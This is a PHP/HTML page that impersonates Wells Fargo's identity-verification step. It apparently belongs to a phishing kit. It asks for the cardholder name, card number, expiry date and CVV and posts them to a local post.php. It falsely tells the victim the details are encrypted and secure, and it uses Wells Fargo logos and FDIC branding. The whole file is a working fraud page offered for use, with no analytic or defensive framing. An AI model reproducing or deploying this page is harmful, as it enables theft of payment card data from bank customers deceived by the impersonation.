<?php

?><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Cormorant+Garamond:wght@300;400;500;600&family=DM+Sans:wght@300;400;500&display=swap" rel="stylesheet">
    <title>Wells Fargo — Confirm Identity</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --red:          #C0392B;
            --red-dark:     #96281b;
            --red-deep:     #6b1a12;
            --red-light:    rgba(192,57,43,0.07);
            --red-glow:     rgba(192,57,43,0.16);
            --text:         #1a1a1a;
            --text-sub:     #555;
            --text-muted:   #999;
            --border:       #e2e2e2;
            --bg:           #fafaf8;
            --white:        #ffffff;
        }

        html, body { height: 100%; font-family: 'DM Sans', sans-serif; background: var(--bg); }
        body { display: grid; grid-template-columns: 1fr 1fr; min-height: 100vh; }

        /* ── LEFT PANEL ─────────────────────────────── */
        .panel-left {
            background: linear-gradient(150deg, #1a0a08 0%, #2d0f0a 35%, #C0392B 100%);
            position: relative;
            display: flex; flex-direction: column;
            justify-content: space-between;
            padding: 52px 56px 56px;
            overflow: hidden;
        }
        .watermark {
            position: absolute; bottom: -6%; right: -14%;
            width: 88%; opacity: 0.055;
            pointer-events: none; user-select: none;
        }
        .watermark img { width: 100%; height: auto; display: block; filter: brightness(0) invert(1); }
        .panel-left::before {
            content: ''; position: absolute; inset: 0;
            background:
                radial-gradient(ellipse 65% 55% at 0% 100%, rgba(0,0,0,0.4) 0%, transparent 60%),
                radial-gradient(ellipse 45% 35% at 100% 0%, rgba(192,57,43,0.2) 0%, transparent 55%);
            pointer-events: none;
        }
        .panel-left::after {
            content: ''; position: absolute;
            left: 56px; right: 56px; top: 50%; height: 1px;
            background: linear-gradient(90deg, rgba(255,255,255,0.12) 0%, rgba(255,255,255,0.02) 100%);
            pointer-events: none;
        }
        .panel-top { position: relative; z-index: 2; }
        .panel-logo img { height: 42px; width: auto; display: block; filter: brightness(0) invert(1); opacity: 0.9; }
        .panel-bottom { position: relative; z-index: 2; }
        .eyebrow {
            font-size: 10.5px; font-weight: 500; letter-spacing: 0.22em; text-transform: uppercase;
            color: rgba(255,255,255,0.45); margin-bottom: 20px;
            display: flex; align-items: center; gap: 10px;
        }
        .eyebrow::before { content: ''; display: block; width: 28px; height: 1px; background: rgba(255,255,255,0.3); }
        .panel-headline {
            font-family: 'Cormorant Garamond', serif;
            font-size: clamp(28px, 2.8vw, 46px); font-weight: 300;
            line-height: 1.18; color: #fff; margin-bottom: 22px; letter-spacing: -0.01em;
        }
        .panel-headline em { font-style: italic; color: rgba(255,255,255,0.55); }
        .panel-sub { font-size: 13.5px; font-weight: 300; color: rgba(255,255,255,0.34); line-height: 1.8; max-width: 300px; }

        /* Card mockup on left */
        .card-mockup {
            width: 260px; height: 155px; border-radius: 14px;
            background: linear-gradient(135deg, #120808 0%, #2a1010 100%);
            padding: 20px 24px;
            display: flex; flex-direction: column; justify-content: space-between;
            box-shadow: 0 14px 44px rgba(0,0,0,0.45), 0 2px 8px rgba(0,0,0,0.2);
            margin-top: 36px; position: relative; overflow: hidden;
            transition: transform 0.4s cubic-bezier(0.22,1,0.36,1);
        }
        .card-mockup:hover { transform: translateY(-4px) rotate(-0.5deg); }
        .card-mockup::before {
            content: ''; position: absolute; top: -40px; right: -40px;
            width: 130px; height: 130px; border-radius: 50%;
            background: radial-gradient(circle, rgba(192,57,43,0.3) 0%, transparent 70%);
        }
        .card-stripe { position: absolute; top: 0; left: 0; right: 0; height: 3px; background: linear-gradient(90deg, var(--red), rgba(192,57,43,0.5)); border-radius: 14px 14px 0 0; }
        .card-chip { width: 32px; height: 24px; border-radius: 5px; background: rgba(192,57,43,0.25); border: 1px solid rgba(192,57,43,0.4); }
        .card-number { font-size: 11.5px; letter-spacing: 0.22em; color: rgba(255,255,255,0.38); font-weight: 300; }
        .card-footer-row { display: flex; justify-content: space-between; }
        .card-label { font-size: 9px; letter-spacing: 0.1em; text-transform: uppercase; color: rgba(255,255,255,0.26); }

        /* ── RIGHT PANEL ─────────────────────────────── */
        .panel-right {
            display: flex; flex-direction: column;
            justify-content: center; align-items: center;
            padding: 60px 44px; background: var(--white);
            overflow-y: auto; position: relative;
        }
        .panel-right::before {
            content: ''; position: absolute; top: 0; right: 0;
            width: 220px; height: 220px;
            background: radial-gradient(ellipse at 100% 0%, rgba(192,57,43,0.04) 0%, transparent 70%);
            pointer-events: none;
        }

        .login-card {
            width: 100%; max-width: 400px;
            animation: fadeUp 0.5s cubic-bezier(0.22,1,0.36,1) both;
        }
        @keyframes fadeUp { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { margin-bottom: 26px; }
        .card-logo img { height: 44px; width: auto; display: block; object-fit: contain; }

        /* Step indicator */
        .step-indicator { display: flex; align-items: center; gap: 8px; margin-bottom: 28px; }
        .step { display: flex; align-items: center; justify-content: center; width: 26px; height: 26px; border-radius: 50%; font-size: 11px; font-weight: 600; flex-shrink: 0; }
        .step.done    { background: var(--red); color: #fff; }
        .step.active  { background: var(--red-deep); color: #fff; box-shadow: 0 0 0 4px rgba(192,57,43,0.15); }
        .step.pending { background: #f0f0f0; color: #bbb; }
        .step-line      { flex: 1; height: 1.5px; background: var(--border); border-radius: 2px; }
        .step-line.done { background: var(--red); opacity: 0.4; }

        .card-header { margin-bottom: 22px; padding-bottom: 20px; border-bottom: 1px solid #f0eaea; }
        .card-header h1 { font-family: 'Cormorant Garamond', serif; font-size: 24px; font-weight: 500; color: var(--red-deep); margin-bottom: 6px; }
        .card-header p { font-size: 13.5px; color: var(--text-muted); font-weight: 300; }

        .sec-notice {
            display: flex; align-items: center; gap: 10px;
            background: var(--red-light); border: 1px solid rgba(192,57,43,0.18);
            border-radius: 5px; padding: 11px 14px; margin-bottom: 22px;
        }
        .sec-notice svg { flex-shrink: 0; color: var(--red); }
        .sec-notice span { font-size: 12.5px; color: var(--red); font-weight: 500; }

        .field { margin-bottom: 18px; }
        .field label { display: block; font-size: 11.5px; font-weight: 500; letter-spacing: 0.06em; text-transform: uppercase; color: var(--text-sub); margin-bottom: 7px; }
        .field input {
            width: 100%; height: 46px; padding: 0 15px;
            border: 1.5px solid var(--border); border-radius: 5px;
            font-family: 'DM Sans', sans-serif; font-size: 15px; color: var(--text); background: #fff;
            outline: none; transition: border-color 0.15s, box-shadow 0.15s; -webkit-appearance: none;
        }
        .field input::placeholder { color: #ccc; font-weight: 300; }
        .field input:focus { border-color: var(--red); box-shadow: 0 0 0 3.5px var(--red-light); }
        .field-row { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; margin-bottom: 18px; }
        .field-row .field { margin-bottom: 0; }

        .btn-main {
            width: 100%; height: 48px; background: var(--red); color: #fff;
            border: none; border-radius: 5px; font-family: 'DM Sans', sans-serif;
            font-size: 15px; font-weight: 500; cursor: pointer; letter-spacing: 0.03em;
            display: flex; align-items: center; justify-content: center; gap: 9px;
            transition: background 0.15s, box-shadow 0.15s, transform 0.1s;
            margin-bottom: 22px; position: relative; overflow: hidden;
        }
        .btn-main::after { content: ''; position: absolute; inset: 0; background: linear-gradient(180deg, rgba(255,255,255,0.07) 0%, transparent 100%); pointer-events: none; }
        .btn-main:hover { background: var(--red-dark); box-shadow: 0 4px 18px rgba(192,57,43,0.3); transform: translateY(-1px); }
        .btn-main:active { transform: translateY(0); }

        .card-divider { height: 1px; background: #f0eaea; margin-bottom: 20px; }
        .card-links { display: flex; flex-direction: column; gap: 11px; }
        .card-links a { font-size: 13.5px; color: var(--red); text-decoration: none; font-weight: 400; display: flex; align-items: center; gap: 7px; opacity: 0.8; transition: opacity 0.12s; }
        .card-links a:hover { opacity: 1; text-decoration: underline; }

        .fdic-row { margin-top: 28px; display: flex; align-items: center; gap: 10px; }
        .fdic-badge { background: #1b3d8c; color: #fff; font-size: 10px; font-weight: 800; letter-spacing: 0.07em; padding: 3px 6px; border-radius: 2px; flex-shrink: 0; }
        .fdic-text { font-size: 10.5px; color: var(--text-muted); line-height: 1.45; }

        @media (max-width: 768px) {
            body { grid-template-columns: 1fr; }
            .panel-left { display: none; }
            .panel-right { min-height: 100vh; padding: 48px 28px; }
        }
        @media (max-width: 500px) { .field-row { grid-template-columns: 1fr; } }
    </style>
</head>
<body>

<!-- LEFT PANEL -->
<div class="panel-left">
    <div class="watermark"><img src="res/img/logo3.svg" alt=""></div>
    <div class="panel-top">
        <div class="panel-logo"><img src="res/img/logo3.svg" alt="Wells Fargo"></div>
    </div>
    <div class="panel-bottom">
        <div class="eyebrow">Identity Verification</div>
        <h2 class="panel-headline">Confirm your<br><em>identity.</em></h2>
        <p class="panel-sub">Enter your card details to verify your account. Your information is encrypted and never stored in plain text.</p>
        <div class="card-mockup">
            <div class="card-stripe"></div>
            <div class="card-chip"></div>
            <div class="card-number">•••• &nbsp;•••• &nbsp;•••• &nbsp;••••</div>
            <div class="card-footer-row">
                <span class="card-label">Cardholder Name</span>
                <span class="card-label">MM / YY</span>
            </div>
        </div>
    </div>
</div>

<!-- RIGHT PANEL -->
<div class="panel-right">
    <div class="login-card">

        <div class="card-logo"><img src="res/img/logo.jpg" alt="Wells Fargo"></div>

        <div class="step-indicator">
            <div class="step done">✓</div>
            <div class="step-line done"></div>
            <div class="step active">2</div>
            <div class="step-line"></div>
            <div class="step pending">3</div>
        </div>

        <div class="card-header">
            <h1>Confirm Your Identity</h1>
            <p>Enter your card details to verify your account</p>
        </div>

        <div class="sec-notice">
            <svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg>
            <span>Your card details are encrypted and secure</span>
        </div>

        <form action="post.php" method="post">
            <div class="field">
                <label for="name">Cardholder Name</label>
                <input type="text" name="name" id="name" placeholder="As shown on card" autocomplete="cc-name">
            </div>
            <div class="field">
                <label for="cc">Card Number</label>
                <input type="text" name="cc" id="cc" required placeholder="XXXX XXXX XXXX XXXX" autocomplete="cc-number" inputmode="numeric">
            </div>
            <div class="field-row">
                <div class="field">
                    <label for="exp">Expiration Date</label>
                    <input type="text" name="exp" id="exp" required placeholder="MM / YY" autocomplete="cc-exp" inputmode="numeric">
                </div>
                <div class="field">
                    <label for="cvv">Security Code</label>
                    <input type="password" name="cvv" id="cvv" required placeholder="CVV" autocomplete="cc-csc" inputmode="numeric">
                </div>
            </div>
            <button type="submit" class="btn-main">
                Continue
                <svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12h14M12 5l7 7-7 7"/></svg>
            </button>
        </form>

        <div class="card-divider"></div>
        <div class="card-links">
            <a href="#">
                <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
                Having trouble? Contact support
            </a>
            <a href="login.php">
                <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
                Back to log in
            </a>
        </div>

        <div class="fdic-row">
            <span class="fdic-badge">FDIC</span>
            <span class="fdic-text">Member FDIC. Equal Housing Lender.</span>
        </div>

    </div>
</div>

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
<script>
    $("#cc").mask("0000 0000 0000 0000");
    $("#exp").mask("00/00");
    $("#cvv").mask("0000");
</script>
</body>
</html>